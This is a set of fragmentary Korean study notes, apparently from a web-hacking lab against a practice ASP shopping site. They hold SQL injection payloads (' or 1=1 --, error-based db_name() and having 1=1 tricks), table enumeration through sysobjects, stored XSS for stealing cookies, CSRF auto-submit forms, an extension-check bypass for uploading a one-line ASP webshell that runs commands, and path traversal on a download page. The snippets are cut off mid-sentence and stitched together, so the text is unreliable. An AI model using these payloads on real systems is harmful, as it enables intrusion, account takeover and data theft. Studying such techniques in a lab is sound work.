예상 사용 SQL 문\*”SELECT FROM Members WHERE user_id = ‘id’ AND passwd = ‘pw’”;id, pw 입력id = admin, pw = ‘or 1=1 --예상 SQL 문 변화”SELECT FROM Members WHERE
⇒’ and db_name() > 1 --예상 SQL 문”SELECT \* FROM \~~ WHERE user_id = ‘id’ and passwd = ‘pw’”문자열과 int 형을 대소비교하여 오류메시지를 유도한다예상 SQL 변경”SELECT \* FROM \~~ W
예상 SQL 문”SELECT \* FROM \~~ WHERE user_id = ‘id’ and passwd = ‘pw’”예상 SQL 변경”SELECT \* FROM \~~ WHERE user_id = ‘’ having 1=1 --’ and passwd = ‘pw’”gr
sysobjects, information_schema.tables해당 데이터베이스에서 사용하는 Table의 이름을 모아둔 Table⇒ sysobject 에서 Table 의 이름 Data가 담겨있는 Column : name⇒ information_schema 에서 Ta
⇒ 사용자가 입력한 값이 브라우저에 출력될 때 취약점이 존재할 것이라고 유추해당 공격을 활용하여 쿠키 등 정보 탈취 가능alert창 확인
⇒ 즉각적인 반응은 없음, 대신 악성 스크림트가 저장되어있어 해당 저장된 스크립트에 접근할 때 ⇒ 저장된 HTML 코드가 삭제되기 전까지 계속해서 동작 (다회성) ⇒ 저장되어있는 HTML 코드에 접근하는 일반 사용자를 노림 ⇒ 일반 사용자의 개인정보, 쿠키값, 권한 탈
스크립트에 window.onload, document.write.submit() 를 사용하여 로드 시 모든 parameter 가 hidden 으로 제출될 수 있도록 함
(action, parameter 추출 후 HTML 코드 작성)단, 댓글의 경우 작성될 게시글의 num 값을 지정해줘야한다Q1에서 작성했던 success의 num, page 값인 3706, 1 을 지정해서 작성하면 해당 게시글에 댓글 달기 가능이해 안 되는 부분, po
실패성공첫 번째 “.” 을 기준으로 확장자를 구분하고 있다는 증거이다
⇒ one line webshell⇒ <%eval(request(”cmd”))%>ipconfig 명령 실행 시 확인할 수 있는 정보 추출
다운 받는 파일은 상관없음Send 를 누르면 해당 요청에 대한 응답을 바로 확인할 수 있다shop_download.asp../shop_dowmload.asp../ 일때 200 ok 응답 확인, 해당 요청으로 재요청
게시글 작성에서 submit 하면 DB에 들어갈 것이기 때문에 해당 부분 요청 추출shop_board_write_ok.asp로 전송하는 것 확인shop_board_write_ok.asp500 Internal Server Error../shop_board_write_ok